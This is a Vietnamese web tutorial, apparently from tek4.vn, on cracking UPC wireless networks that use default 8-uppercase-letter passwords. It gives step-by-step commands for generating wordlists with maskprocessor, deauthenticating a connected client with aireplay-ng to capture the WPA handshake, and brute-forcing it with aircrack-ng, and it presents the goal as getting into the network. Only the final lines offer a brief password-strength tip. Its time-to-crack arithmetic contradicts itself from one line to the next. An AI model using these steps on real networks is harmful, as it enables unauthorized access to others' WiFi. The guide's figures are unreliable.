<img style="width: 600px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/32169c71-0129-48f0-a535-c74d4153d430" alt="wifi" />
Trong b&agrave;i hướng dẫn n&agrave;y, bạn sẽ học c&aacute;ch hack mạng kh&ocirc;ng d&acirc;y UPC bằng mật khẩu mặc định, đ&acirc;y l&agrave; y&ecirc;u cầu thường thấy nhất ở người d&ugrave;ng UPC. Bước đầu ti&ecirc;n l&agrave; tạo danh s&aacute;ch mật khẩu chứa tất cả c&aacute;c tổ hợp 8 chữ c&aacute;i in hoa. Ta sẽ sử dụng Maskprocessor trong Kali Linux để tạo danh s&aacute;ch mật khẩu. Ngo&agrave;i ra, ch&uacute;ng ta sẽ thực hiện qu&aacute; tr&igrave;nh bắt tay 4 bước với Airodump-ng bằng c&aacute;ch hủy x&aacute;c thực ứng dụng kh&aacute;ch được kết nối với Aireplay-ng. Bước cuối c&ugrave;ng l&agrave; tấn c&ocirc;ng brute force mật khẩu bằng Aicrack-ng. Trong phần 2, ch&uacute;ng ta sẽ học c&aacute;ch sử dụng oclHashcat với GPU v&igrave; CPU mất kh&aacute; nhiều thời gian để tạo danh s&aacute;ch mật khẩu.
<h2>3 bước hack mạng kh&ocirc;ng d&acirc;y UPC với 3 bước:&nbsp;</h2>
Bước 1: Tạo danh s&aacute;ch mật khẩu bằng Maskprocessor
Bước 2: Thu thập g&oacute;i tin bắt tay 4 bước bằng Airodump-ng
Bước 3: Brute Force mật khẩu bằng Aircrack-ng
&nbsp;
<h3>Bước 1: Tạo danh s&aacute;ch mật khẩu bằng Maskprocessor</h3>
Ch&uacute;ng ta sẽ sử dụng maskprocessor để tạo danh s&aacute;ch mật khẩu nối từng chữ c&aacute;i v&agrave;o tệp để sử dụng c&oacute; thể nhiều m&aacute;y t&iacute;nh nhằm tăng tốc độ brute force mật khẩu.
maskprocessor A?u?u?u?u?u?u?u -o /usr/A.txt
maskprocessor B?u?u?u?u?u?u?u -o /usr/B.txt
maskprocessor C?u?u?u?u?u?u?u -o /usr/C.txt
v.v. lặp lại từng k&yacute; tự trong bảng chữ c&aacute;i
K&iacute;ch thước tệp cho mỗi t&agrave;i liệu sẽ xấp xỉ 60 GB. Bạn c&oacute; thể sử dụng lệnh sau để xem mỗi tệp chứa bao nhi&ecirc;u tổ hợp kh&aacute;c nhau:
<code>maskprocessor A?u?u?u?u?u?u?u &ndash;combinations</code>
8.031.810.176 tổ hợp&hellip;
* 26 chữ c&aacute;i
208.827.064.576 tổ hợp khả dụng
<h3>Bước 2: Thu thập g&oacute;i tin bắt tay 4 bước bằng Airodump-ng</h3>
Bước tiếp theo l&agrave; bắt tay 4 bước bằng với Airodump-ng. Trước ti&ecirc;n, ta sử dụng Airodump-ng để chọn mục ti&ecirc;u v&agrave; truy xuất BSSID tương ứng v&agrave; truyền k&ecirc;nh điểm truy cập WiFi đang ph&aacute;t. Sau đ&oacute; sử dụng Aireplay-ng để khử x&aacute;c thực một m&aacute;y kh&aacute;ch được kết nối để buộc kết nối lại, từ đ&oacute; c&oacute; thể thu thập g&oacute;i tin bắt tay bốn bước. H&atilde;y khởi tạo Airodump-ng để t&igrave;m mục ti&ecirc;u bằng lệnh:
<code>airodump-ng mon0</code>
B&acirc;y giờ chọn BSSID v&agrave; k&ecirc;nh mục ti&ecirc;u v&agrave; khởi động lại Airodump-ng bằng lệnh sau v&agrave; t&igrave;m kiếm ứng dụng kh&aacute;ch được kết nối:
<code>airodump-ng &ndash;bssid [BSSID] -c [channel] -w [filepath to store .cap] wlan0mon</code>
Mở thiết bị đầu cuối mới v&agrave; đưa ra lệnh hủy x&aacute;c thực cho ứng dụng kh&aacute;ch được kết nối bằng Aireplay-ng.
<code>aireplay-ng -0 2 -a [BSSID] -c [Client MAC] mon0</code>
Hủy x&aacute;c thực đ&atilde; th&agrave;nh c&ocirc;ng v&agrave; ta đ&atilde; thu thập được g&oacute;i tin bắt tay 4 bước.
<img style="width: 600px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/4a67b9dd-2d9c-4044-b2f5-2f863b226afd" alt="Wordpress-screen-5" />
<h3>Bước 3: Bruteforce mật khẩu bằng Aircrack-ng</h3>
Trước ti&ecirc;n thực hiện một số ph&eacute;p to&aacute;n:
Xung nhịp l&otilde;i 1x AMD hd7970 1000mhz với oclHashcat v1.35 c&oacute; thể tạo ra 142.000 tổ hợp mỗi gi&acirc;y.
26^8 = 208.827.064.576 tổ hợp
26^8 / 142.000 ph&iacute;m mỗi gi&acirc;y = 1470613 gi&acirc;y
2.610.338 / 60 gi&acirc;y = 24510 ph&uacute;t
43.505 / 60 ph&uacute;t = 408,5 giờ
725 giờ / 24 giờ = 17 Ng&agrave;y
50% khả năng bẻ kh&oacute;a mật khẩu trong 8,5 ng&agrave;y.
Phải mất 17 ng&agrave;y để brute force mật khẩu UPC ti&ecirc;u chuẩn v&agrave; hack mạng kh&ocirc;ng d&acirc;y UPC với một videocard trung b&igrave;nh bằng oclHashcat. Trong video n&agrave;y, ch&uacute;ng ta sẽ c&agrave;i đặt tệp tin bằng Aircrack-ng. Th&ocirc;ng thường sử dụng bộ xử l&yacute; tốn thời gian gấp 100 lần so với c&agrave;i đặt mật khẩu bằng GPU v&agrave; oclHashcat. Xem phần 2 của b&agrave;i hướng dẫn về c&aacute;ch sử dụng oclHashcat với GPU.
Sử dụng lệnh sau để brute force mật khẩu bằng Aircrack-ng:
<code>aircrack-ng -a 2 -b [Router BSSID] -w [Filepath to password list] [Filepath to .cap file]</code>
Cuối c&ugrave;ng mật khẩu đ&atilde; được crack:
<img style="width: 600px; display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/e15a9a29-274c-480f-b230-46ffa537e177" alt="Hack-UPC-Wireless-networks-1" />
<h2>Lời kết</h2>
Ng&agrave;y nay, GPU c&oacute; tốc độ xử l&yacute; nhanh với mức gi&aacute; ph&ugrave; hợp được cung cấp sẵn tr&ecirc;n m&aacute;y t&iacute;nh x&aacute;ch tay v&agrave; m&aacute;y t&iacute;nh để b&agrave;n, đặc biệt l&agrave; cho c&aacute;c d&ograve;ng m&aacute;y đa phương tiện v&agrave; m&aacute;y gaming. Với CPU v&agrave; GPU mạnh mẽ, family user th&ocirc;ng thường c&oacute; thể dễ d&agrave;ng bẻ kh&oacute;a mật khẩu theo c&aacute;ch an to&agrave;n. 17 ng&agrave;y để bẻ kh&oacute;a mật khẩu Wifi hơi l&acirc;u nhưng bạn sẽ truy cập được mạng. Nếu th&ecirc;m 3 chữ c&aacute;i hoặc thậm ch&iacute; l&agrave; số hoặc k&yacute; tự đặc biệt như <code>a!</code> hoặc <code>$ -sign</code> th&igrave; family user th&ocirc;ng thường sẽ kh&ocirc;ng ph&aacute; được mật khẩu.
H&atilde;y tiếp tục theo d&otilde;i v&agrave; ủng hộ c&aacute;c b&agrave;i viết tiếp theo của Tek4.vn về chủ đề n&agrave;y nh&eacute;!

Bich Huong

Cách hack mạng không dây UPC và WLAN (phần 1)

Cùng tác giả

Bich Huong

Có liên quan